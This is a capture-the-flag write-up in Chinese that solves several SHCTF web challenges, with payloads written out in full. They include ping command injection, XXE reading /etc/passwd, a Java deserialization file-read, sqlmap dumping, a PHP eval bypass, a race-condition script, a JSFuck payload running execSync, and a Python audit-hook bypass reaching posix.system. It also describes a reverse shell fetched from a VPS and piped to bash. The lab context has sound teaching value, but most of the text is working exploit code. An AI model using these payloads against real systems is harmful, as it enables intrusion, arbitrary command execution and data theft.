[阶段 1] ez-ping
靶机展示
还是比较简单,不过估计 flag 是关键字会被拦截。
payload
看到 flag 在根目录下,估计 cat / flag 都是敏感字都被拦了,读文本文件除了 cat 以外 tail / head 等都很常用,加上用通配符 ? 绕过即可。
curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && ls /'
# (......) dev etc flag (......)
curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /?la?'
# SHCTF{94c6789c-ea67-4271-b3b4-61271ac45d7c}
源码过滤+getshell
直接 ls 可以看到当前目录的 .php 文件,我们看下源码尝试 getshell。拦截规则在 ping.php,白名单允许 字母数字、.、-、/、?、*,虽然 * 也在里面不过下面黑名单也有。拿 shell 也比较简单,虽然直接在网页上拼接 revshell 命令失败了,不过我们可以让靶机从 vps 直接下载 revshell 脚本,用 curl / wget + 管道符 | bash / sh 即可。
<?php
header('Content-Type: text/plain; charset=utf-8');
if($_SERVER['REQUEST_METHOD']==='POST'){
$domain=$_POST['domain'] ?? '';
if(!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)){
http_response_code(400);
echo"无效的域名!";
exit;
}
// ... 省略部分逻辑
try {
$cmd="ping -c 4 ".$domain;
if(!preg_match('/cat|tac|flag|\*/',$cmd)){
$output= shell_exec($cmd." 2>&1");
}else{
$output="命令中包含非法字符!";
}
echo$output ?: "命令执行失败!";
} catch (Exception $e){
http_response_code(500);
echo"错误:".$e->getMessage();
}
}
?>
[阶段 2] Mini Blog
题干: 完全安全的博客系统
靶机展示
看到是个很简单的 blog 页面,可以发表文章以及修改个人信息。
简单信息收集
看到是 Python 搭建的服务器,第一反应是 SSTI,但是实际上并不是(主页可以看到其实我已经尝试了 {{ 7*7 }} 这种模板注入但并无效果),不死心再用 tplmap 跑了遍尝试也未能找到注入点。
攻击思路
看到数据是 XML 格式提交,那大概率是 XXE 实体注入了。
PAYLOAD
用 XXE 的 payload 看了下 /etc/passwd 直接就有回显了。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPEfoo[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<post><title>&xxe;</title><content>123</content></post>
直接拿到了 /etc/hosts。
get flag
因为不知道 flag 具体位置,随便测试了下,运气好用 /flag 直接拿到了 flag 了。
[阶段 3] 你也懂 java?
题干: 源代码和二进制已经全部在这里了,没有任何秘密。
靶机展示
靶机主页打开后可以看到是一段源码,看上去是后端逻辑代码,并且有 /upload 接口,其中 new ObjectInputStream(exchange.getRequestBody(),未经校验将 body 传入,大概率是反序列化的打法。
网页源码
String method = exchange.getRequestMethod();
String path = exchange.getRequestURI().getPath();
if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) {
try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) {
Object obj = ois.readObject();
if (obj instanceof Note) {
Note note = (Note) obj;
if (note.getFilePath() != null) {
echo(readFile(note.getFilePath()));
}
}
} catch (Exception e) {}
}
Note.jar
比赛环境赛题直接提供了 Note.jar 下载,下载下来用 jd-gui 查看下,代码如下,有 3 个私有变量,知道了 Note 对象的属性。
import java.io.Serializable;
public class Note implements Serializable {
private static final long serialVersionUID = 1L;
private String title;
private String message;
private String filePath;
public Note(String title, String message, String filePath) {
this.title = title;
this.message = message;
this.filePath = filePath;
}
// getters...
}
攻击思路
Note 对象调用了 getFilePath(),大概率是任意文件读取,因为后端逻辑没有校验传入,可构造恶意类,设置 FilePath 为敏感文件路径,用 /etc/passwd 或者 /etc/hostname 这种验证下。
创建恶意类
// Exp.java
import java.io.*;
public class Exp {
public static void main(String[] args) {
try {
Note note = new Note("Exploit", "Reading Flag", "/etc/passwd");
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(note);
oos.close();
System.out.println("Payload 已生成:payload.ser");
} catch (Exception e) { e.printStackTrace(); }
}
}
设置 JDK 环境
kali 默认没 javac,不过碰巧因为打其他靶场传了个 jdk7 就用这个版本,当前 shell 环境要设好环境变量,后面成功编译的前提。
export JAVA_HOME=/home/kali/Desktop/jdk7
export PATH=$JAVA_HOME/bin:$PATH
编译恶意类
将 Note.java 和 Exp.java 放在同一个目录,编译后用 curl --data-binary 发送,因输出较多用 grep 过滤下关键字,看到已读取到了 /etc/passwd。
修改恶意类尝试得到 flag
因不知 flag 具体位置在哪先尝试 /flag,修改 Exp.java 中然后重新编译后并发送 payload,可以看到顺利拿到了 flag。
利用 python 直接发 payload
这道题目也可以利用 python + java 反序列化的特性,跳过用编译环节直接发送 payload,继而直接拿到 flag 或者相应的文件。
更加偷懒的方法
用下面的 payload,不但不用 jdk 编译恶意类,连 python 都省了。
echo -ne "\xac\xed\x00\x05\x73\x72\x00\x04\x4e\x6f\x74\x65..." > payload.bin
curl -X POST http://challenge.shc.tf:31865/upload --data-binary @payload.bin | grep SHCTF
[阶段 2] Go
题干: 我们开发了一个由 Go 语言编写的安全验证系统。防火墙(WAF)发誓它已经拦截了所有的 admin 角色请求。
靶机展示
可以看到返回一串 json。
过 waf+get flag
一开始尝试发送 GET 无效,改用 POST 发送发现响应改变。尝试 bypass 发现可以通过修改参数大小写绕过,预计防火墙只拦截了小写的 role。
curl "http://challenge.shc.tf:31025/" -d '{"Role":"admin"}'
# {"flag":"SHCTF{2ea0dca2-e397-4c7c-892e-785d30c2e19a}"...}
[阶段 1] 上古遗迹档案馆
题干: 你咋直接攻击我啊?渗透测试里不是这样的啊!你应该先向我发送一个数据确认我是什么类型的题目...
靶机展示
SQL 注入
这道题比较简单的,以 1' 作为参数就报错了。后面手注或者 sqlmap 都可以,最终 flag 路径在 archive_db-->secret_vault->secret_key。
sqlmap -u http://challenge.shc.tf:30879/?id=* --batch -D archive_db -T secret_vault --dump
# SHCTF{0ede81a7-627f-45c4-9a9d-63655a9d214e}
[阶段 1] kill_king
题干: 提升自己,杀死 King,或者,做点别的???
靶机展示
可以看到是个网页游戏,打开游戏后按 F12 打不开控制台估计被代码屏蔽了,不过可以先开控制台再打开网页就可以绕过。
攻击思路
这种 javascript 一般控制台都可以通过调整变量值、修改函数等方式,修改游戏底层逻辑代码,直接绕过初始设定。查看源码可以看到 javascript 源代码在 logic.js。
控制台中输入 _this.damage = 9999; 可实现一刀 99999 的效果,另外下面这个 payload 可以直接跳到最后一关国王:
_this.stage =10; _this.enemiesDefeated =10; _this.enemy =newEnemy(3000*20,"King Trost");
_this.boss =true; _this.damage=99999;
第二层 php 审计
在普通浏览器中过关会直接重定向到 xxx/check.php 刷新就会发现又 No access,通过 burpsuite 分析可以看到过关时 POST 会携带参数 result=win 访问 check.php。
使用 curl 发送 POST 可以看到 PHP 源码如下,除了 result 参数外,还提交 who / are / you 三个参数,其中 who / are 必须是数字,而 you 只能匹配非单词的字符。
<?php
if($_SERVER['REQUEST_METHOD']==='POST'){
if(isset($_POST['result'])&&$_POST['result']==='win'){
highlight_file(__FILE__);
if(isset($_GET['who'])&&isset($_GET['are'])&&isset($_GET['you'])){
$who=(String)$_GET['who'];
$are=(String)$_GET['are'];
$you=(String)$_GET['you'];
if(is_numeric($who)&&is_numeric($are)){
if(preg_match('/^\W+$/', $you)){
$code=eval("return $who$you$are;");
echo"$who$you$are = ".$code;
}
}
}
}
}
?>
php 审计攻击思路
这道题 get 传入三个参数,分别是 who / are / you,其中:
who和are必须是数字;you从头到尾每一个字符都不能是字母、数字或下划线; 最终三个参数需要拼接成return $who$you$are,同时要可以过eval()函数,也就是说必须是个合法的php的代码。
利用取反技巧绕过正则:
http://challenge.shc.tf:32551/check.php?who=1&are=2&you=?%28~%8c%86%8c%8b%9a%92%29%28~%96%9b%29:
最后是半成品的 payload
先用 .py 脚本生成要执行的命令,使用 curl 将 payload 传递给靶机。
payload=$(python payload.py "cat /flag")
curl -s -X POST "http://challenge.shc.tf:30940/check.php?who=1&are=2&you=$payload" -d "result=win"
# SHCTF{3545d5d6-8a20-42b8-877b-f0e83c19248b}
[阶段 1] ez_race
题干: 狠狠赚钱
靶机展示
攻击思路
核心有问题的源码是提现功能的 def form_valid() 函数,故意设置了 1 秒延迟,如果高并发可以多次提现提到余额为负,另外业务逻辑中,当余额为负数就会爆 flag。
def form_valid(self, form):
amount = form.cleaned_data["amount"]
with transaction.atomic():
time.sleep(1.0) # <------ 故意设置的延迟
user = models.User.objects.get(pk=self.request.user.pk)
if user.money >= amount:
user.money = F('money')- amount
user.save()
if user.money <0:<------ 金额小于 0 会爆 flag
return HttpResponse(os.environ.get("FLAG","flag{flag_test}"))
payload
选到提现页面贴入 payload 然后发送到 console,如果失败的话,访问 /reset 接口,领取红包确保余额有 10 元再发送 payload。
(async()=>{
const csrfTokenValue = document.querySelector('[name=csrfmiddlewaretoken]')?.value;
const withdrawUrl = window.location.pathname;
const amount =10;
const bodyData =`csrfmiddlewaretoken=${csrfTokenValue}&amount=${amount}`;
const requests = Array.from({length:10},async(v, i)=>{
try{
const res =await fetch(withdrawUrl,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded","X-CSRFToken": csrfTokenValue },body: bodyData });
const text =await res.text();
if(text.includes("SHCTF{")){ console.log(`[Thread ${i}] 成功!获取到 Flag`); return text.match(/(flag|CTF)\{.*?\}/)[0];}
}catch(e){ console.error(`[Thread ${i}] 网络连接中断:${e.message}`);}
return null;
});
const allResults =await Promise.all(requests);
const finalFlag = allResults.find(r=> r !==null);
if(finalFlag){ console.log(`恭喜!最终 Flag: ${finalFlag}`);}
})();
[阶段 1] calc?js?f**k!
题干: 怎么又是计算器?又是 js?f**k!
靶机展示
打开看到是个计算机,向 /calc 接口提交 POST 请求,传参 expr。
源码
因为网页有源码,可以看到只允许除了 8 以外的数字以及一些符号。
const WAF=(recipe)=>{
const ALLOW_CHARS=/^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
if(ALLOW_CHARS.test(recipe)){return true;}
return false;
};
function calc(operator){return eval(operator);}
app.post('/calc',(req, res)=>{
const{ expr }= req.body;
if(WAF(expr)){var result =calc(expr); res.json({ result });}
else{ res.json({"result":"WAF"});}
});
攻击思路
jsf*ck 只需要 !、[ 、] 即可完成攻击,白名单字符已绝对够用。
利用 jsf**k 网站
- 查看根目录
process.mainModule.require('child_process').execSync('ls /').toString()payload 利用jsf**k转换,放入网站下图框中,注意Eval Source需要勾选。 - 利用
curl/hackbar/python等工具发送payload,注意选择application/json。 - 最终读取
flag的payload如下,可修改端口可直接复用。
curl -X POST http://challenge.shc.tf:30518/calc -H "Content-Type: application/json" -d '{"expr":"[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())"}
[阶段 1] Ezphp
题干: 在未来的某一天,人类已经能够进行太阳系内的旅行...
(内容待补充)
[阶段 1] Eazy_Pyrunner
题干: 任何人都可以运行自己的 Python 程序!不过大嗨客就算了,还有运行的程序必须是我喜欢的。
靶机展示
注意箭头地址,下面要用到。
攻击思路
- 展示页上
关于这里可能存在文件包含漏洞。 - 文本框内可以运行
Python代码,会有暴露很多线索,另外这种题型大概率是绕过后RCE。
dir() 下可以看到两个莫名其妙的函数,大概率是审计钩子。
高敏字段测试了下发现都被拦了。
文件包含获得源码
利用上面泄露的地址可以拿到 .py 的源码。
from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys
app = Flask(__name__)
@app.route('/')
def index():
file_name = request.args.get('file','pages/index.html')
try:
with open(file_name,'r', encoding='utf-8')as f:
content = f.read()
except Exception as e:
with open('pages/index.html','r', encoding='utf-8')as f:
content = f.read()
return render_template_string(content)
def waf(code):
blacklisted_keywords =['import','open','read','write','exec','eval','__','os','sys','subprocess','run','flag','\'','"']
for keyword in blacklisted_keywords:
if keyword in code:return False
return True
@app.route('/execute', methods=['POST'])
def execute_code():
code = request.json.get('code','')
if not code:return jsonify({'error':'请输入 Python 代码'})
if not waf(code):return jsonify({'error':'Hacker!'})
try:
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)as f:
f.write(f"""import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name): return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg): if len(event_name) > 0: raise RuntimeError("Too long event name!") if len(arg) > 0: raise RuntimeError("Too long arg!") if not is_my_love_event(event_name): raise RuntimeError("Hacker out!") __import__('sys').addaudithook(my_audit_hook)
{code}""")
temp_file_name = f.name
result = subprocess.run([sys.executable, temp_file_name], capture_output=True, text=True, timeout=10)
os.unlink(temp_file_name)
return jsonify({'stdout': result.stdout,'stderr': result.stderr })
except subprocess.TimeoutExpired:return jsonify({'error':'代码执行超时(超过 10 秒)'})
except Exception as e:return jsonify({'error':f'执行出错:{str(e)}'})
finally:
if os.path.exists(temp_file_name): os.unlink(temp_file_name)
if __name__ =='__main__': app.run(debug=True)
blacklist 涉及如下关键字:['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '"']。
审计函数逻辑:
sys.modules['os'] = 'not allowed'# os 不让用return event_name.startswith("Nothing is my love but you.")# event name 必须以 关键字开头len(event_name) > 0# event name 不能大于 0len(arg)# 参数不能大于 0
payload
这道题相对还是比较简单,可以用内置方法让审计函数失效,再通过 posix 等来执行命令,具体 payload 在下面,复用的时候 注意把注释中和 blacklist 冲突的关键字删掉。
# 1. 初始化与工具获取
g =globals()
# 2. 彻底瘫痪审计逻辑
g[bytes([105,115,95,109,121,95,108,111,118,101,95,101,118,101,110,116]).decode()]=lambda x:True
bi[bytes([108,101,110]).decode()]=lambda x:0
# 3. 绕过模块封锁获取 RCE 接口
try:
s_mod = g[bytes([115,121,115]).decode()]
m_dict =getattr(s_mod,bytes([109,111,100,117,108,101,115]).decode())
po_mod = m_dict.get(bytes([112,111,115,105,120]).decode())
s_func =getattr(po_mod,bytes([115,121,115,116,101,109]).decode())
s_func(bytes([105,100]).decode())
except: pass
运行 payload 后发现已经可以 RCE 了。
get shell + flag
反弹可以用下面的方法,注意要先编码。
进去后看到 /flag 无权限查看,但本地有个 /read_flag,运行就可以读到 flag。
其他思路
这道题可以注入阻塞类代码比如数字很大的求和,让代码运行时间较长,同时提前在代码注释插入 request.files.get 等方法,如果可以通过文件包含读到缓存文件或者 /proc/self/fd/ 下面的文件,那就可以用二次渲染的 ssti 注入。不过测试了几次都没能成功,这里抛个砖。
[阶段 1] 05_em_v_CFK
题干: 继某两所大学校内餐厅被黑后,终于考上大学的小明也想'逝世',但是他遇到了一些困难于是请求你的帮助。他给你留了一个 webshell,并给你的一条线索,去帮他完成吧。
靶机展示
我们只有$3,Golden Flag 需要 $50。初尝试了下抓包修改等均无效,根据题干看没那么简单。
信息收集
- 源码存在如下隐藏信息,解码可知内容为:
我上传了个 shell.php, 带上 show 参数 get 小明的圣遗物吧。 - 此外经爆破靶机存在如下 文件/目录:
index.php,connect.php,/uploads/shell.php(要带参数访问)。
第二层 php 源码及审计
